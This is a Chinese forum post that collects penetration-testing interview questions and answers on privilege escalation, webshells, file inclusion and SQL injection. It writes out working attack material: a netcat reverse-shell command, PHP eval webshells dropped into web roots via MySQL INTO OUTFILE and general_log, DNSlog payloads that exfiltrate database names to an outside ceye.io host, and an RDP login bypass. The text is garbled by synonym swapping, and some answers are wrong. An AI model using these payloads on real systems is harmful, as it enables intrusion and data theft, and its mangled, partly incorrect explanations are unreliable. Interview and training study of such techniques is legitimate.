Windows、Linux、数据库的加固降权思路,任选其一

禁用root
禁止远程访问
禁止写入
单独帐号
禁止执行system等函数
谈一谈Windows系统与Linux系统提权的思路?

Windows
Windows服务比较多所以方法也如此,最根本的就是Exp提权,数据库SQLServer、MYSQL UDF等、第三方软件提权。
udf提权
利用了 root 高权限,创建带有调用 cmd 的函数的 udf.dll 动态链接库,
导出 udf.dll 文件后,我们就可以直接在命令框输入 cmd
除此之外提权的成功与否和在于信息网络也非常重要,你对这台服务器和管理员了解多少。
windows权限提升(二)
Linux
Linux也是雷同,除了EXP大概高版本的内核无法提权之外,通过第三方软件和服务,除了提权也可以考虑把这台机器当跳版,
达到先进入内网安全防线最弱的地方探求有效的信息,再迂回战术。
linux权限提升
Brief
罗列脚本
以root权限运行的程序
用户安装的软件
弱口令大概明文暗码
只能内部访问的服务
suid和guid错误配置
滥用sudo权限
以root权限运行的脚本文件
错误的路径配置
操持任务
未挂载的文件系统
NFS共享
通过键盘记录仪窃取暗码
其它有效的和提权相关的东西
内核提权
列举出您所知道的所有开源组件高危毛病(十个以上)

Tomcat
Nginx
Apache
Hadhoop
Docker
Jenkins
Zenoss
Jboss
MongoDB
Redis
GlassFish
反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?

nc -lvvp 7777 -e /bin/bash
bash是交互式,否则像useradd无法执行交互
mysql写shell有几种方法

outfile、dumpfile、开启log写webshell
php.ini可以设置哪些安全特性

禁用PHP函数
允许include或打开访问远程资源
php的%00截断的原理是什么?

因为在C语言中字符串的结束标识符%00是结束符号,而PHP就是C写的,所以继续了C的特性,所以判断为%00是结束符号不会继续往后执行
条件:PHP<5.3.29,且GPC关闭
文件包含

php的LFI,本地包含毛病原理是什么?写一段带有毛病的代码。手工的话如何发掘?假如无报错回显,你是怎么遍历文件的?
if ($_GET[‘file’]){
include $_GET[‘file’];
}
包含的文件设置为变量,而且无过滤导致可以调用恶意文件 还可以对远程文件包含,但需要开启allow_url_include = ON 通过测试参数的地方举行本地文件/etc/passwd等包含 如何存在毛病而且没有回显,有大概没有显示在页面而是在网页源代码中,除些可以利用DNSlog举行获取包含的信息。从index.php文件一级级往读取 也可以利用PHP封装协议读取文件
webshell检测,有哪些方法

grep、关键词、关键函数
安全狗、D盾
什么是webshell

WebShell就是以asp、php、jsp大概cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后利用欣赏器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目标(可以上传下载大概修改文件,操纵数据库,执行恣意命令等)。 WebShell后门潜伏较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录
CMD命令行如何查询远程终端开放端口

tasklist /svc
netstat -ano
服务器为IIS+PHP+MySQL,发现root权限注入毛病,讲讲你的渗透思路

可以读取IIS信息,知门路径,假如像WAMMP雷同构建,通过@@datadir知道数据库路径也可以猜测网站路径。
大概直接写Shell
udf提权

利用了 root 高权限,创建带有调用 cmd 的函数的 udf.dll 动态链接库,
导出 udf.dll 文件后,我们就可以直接在命令框输入 cmd
php中命令执行涉及到的函数

eval()
assert()
system()
exec()
shell_exec()
Get和post方法的简单区别

1、传送方式:get通过地址栏传输,post通过报文传输。
2、传送长度:get参数有长度限制(受限于url长度),而post无穷制
3、GET和POST尚有一个重大区别,简单的说:
GET产生一个TCP数据包;POST产生两个TCP数据包
3389有哪些毛病

3389毛病是windows2000server远程桌面的服务端口利用下载的软件远程连接桌面时间通过输入法毛病绕过系统身份验证并得到管理员权限。 毛病利用:起首下载远程桌面管理工具,网址http://www.bitscn.com/upload/TS.rar,其次连接远程服务器,然后毛病出现,1.按“Ctrl+Shift”组合键,快速切换至全拼输入法,这时在登录界面左下角将出现输入法状态条。假如没有出现,就有两种大概:
  1) 时间问题:服务器的数据流传输有一个延时的过程,需要耐心等待。
  2) 操纵问题:假如你将鼠标指针点击在了“暗码”旁边的空白栏处,输入法状态条是不会出现的,需要将鼠标点击在“用户名”旁边的空白栏。
  2.用鼠标右键点击状态条上的微软徽标,选取“资助”中的“操纵指南”,在“输入法操纵指南”的左上角点击鼠标右键,在弹出的菜单中选择“跳至URL(J)…”。接下来你将会看到Windows 2000的系统安装路径和要求填入路径的窗口。
Cookie和session的区别
cookie 和session的区别是:cookie数据保存在客户端,session数据保存在服务器端。两个都可以用来存私密的东西,同样也都有有效期的说法,区别在于session是放在服务器上的,逾期与否取决于服务期的设定,cookie是存在客户端的,过去与否可以在cookie生成的时间设置进去。
Cookie的P3P性质
HTTP相应头的p3字段是W3C公布的一项隐私掩护保举标准,该字段用于标识是否允许目标网站的cookie被另一个域通过加载目标网站而设置或发送,仅IE执行了该策略。
腾讯御点是什么防火墙

腾讯御点终端安全管理系统是企业级用户的私有云防病毒和毛病修复解决方案
MySQL 写 WebShell 有几种方式,利用条件
union select 后写入
lines terminated by 写入
lines starting by 写入
fields terminated by 写入
COLUMNS terminated by 写入
root 权限
GPC 关闭(能利用单引号),magic_quotes_gpc=On
有绝对路径(读文件可以不消,写文件必须)
没有配置–secure-file-priv
成功条件:有读写的权限,有 create、insert、select 的权

Sql 注入无回显的环境下,利用 DNSlog,mysql 下利用什么构造代码,mssql 下又如何?

(1)没有回显的环境下,一般编写脚本,举行自动化注入。但与
此同时,由于防火墙的存在,容易被封禁 IP,可以实验调解请求
频率,有条件的利用代理池举行请求。
(2)此时也可以利用 DNSlog 注入,原理就是把服务器返回的
效果放在域名中,然后读取 DNS 解析时的日志,来获取想要的信
息。
(3)Mysql 中利用 load_file() 构造 payload
‘ and if((select load_file(concat(‘\\’,(select
database()),’.xxx.ceye.io\abc’))),1,0)#
(4)Mssql 下利用 master…xp_dirtree 构造 payload
DECLARE @host varchar(1024);SELECT @host=(SELECT
db_name())+’.xxx.ceye.io’;EXEC(‘master…xp_dirt
ree”\’+@host+’\foobar$”‘);
mysql的用户名暗码是存放在那张表内里?mysql暗码采用哪种加密方式?
mysql -> users
SHA1
phpmyadmin 写 sehll 的方法

一、常规导入 shell 的操纵
创建数据表导出 shell
CREATE TABLE mysql.shadow9 (content TEXT NOT
NULL );
INSERT INTO mysql.shadow9 (content ) VALUES
(‘<?php @eval($_POST[pass]);?>’);
SELECT content FROM shadow9 INTO OUTFILE
‘C:\phpStudy\WWW\90sec.php’;
DROP TABLE IF EXISTS shadow9;
二、一句话导出 shell:
select ‘<?php @eval($_POST[pass]);?>’ into outfile ‘c:/php
study/www/90sec.php’;
select ‘<?php @eval($_POST[pass]);?>’ into outfile ‘c:\ph
pstudy\www\90sec.php’;select ‘<?php @eval($_POST[pass]);?>’ into dumpfile ‘c:\
phpstudy\www\bypass.php’;
三、日志备份获取 shell
show global variables like “%genera%”;
//查询 gener
al_log 配置
set global general_log=‘on’;
//开启 general lo
g 模式
SET global general_log_file='D:/phpStudy/WWW/cmd.php
';
//设置日志文件保存路径
SELECT ‘<?php phpinfo();?>’;
//phpinfo()写入日
志文件
set global general_log=‘off’;
//关闭 general_l
og 模式
Metasploit 打开反向监听的命令

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
有哪些反向代理的工具?

reGeirg、EW、lcx、Ngrok、frp
什么是同源策略?

源就是主机、协议、端口名的一个三元组 同源策略(Same Origin Policy, SOP)是Web应用程序的一种安全模子,被广泛地应用在处理WEB内容的各种客户端上,比如各大欣赏器,微软的Silverlight,Adobe的Flash/Acrobat等等。
SVN/GIT 源代码泄露

答:
(1)在利用 SVN 管理本地代码过程中,会自动生成一个名为.svn
的隐蔽文件夹,其中包含重要的源代码信息
/.git/config
(2)利用 git 举行版本控制,对站点自动摆设。假如配置不当,
大概会将.git 文件夹直接摆设到线上环境。这就引起了 git 泄露
毛病
/.svn/entries
reverse_tcp 和 bind_tcp 的区别
答:

1)reverse_tcp
木马会自动连接目标服务器

2)bind_tcp
木马会监听本地的端口

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

东湖之滨

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表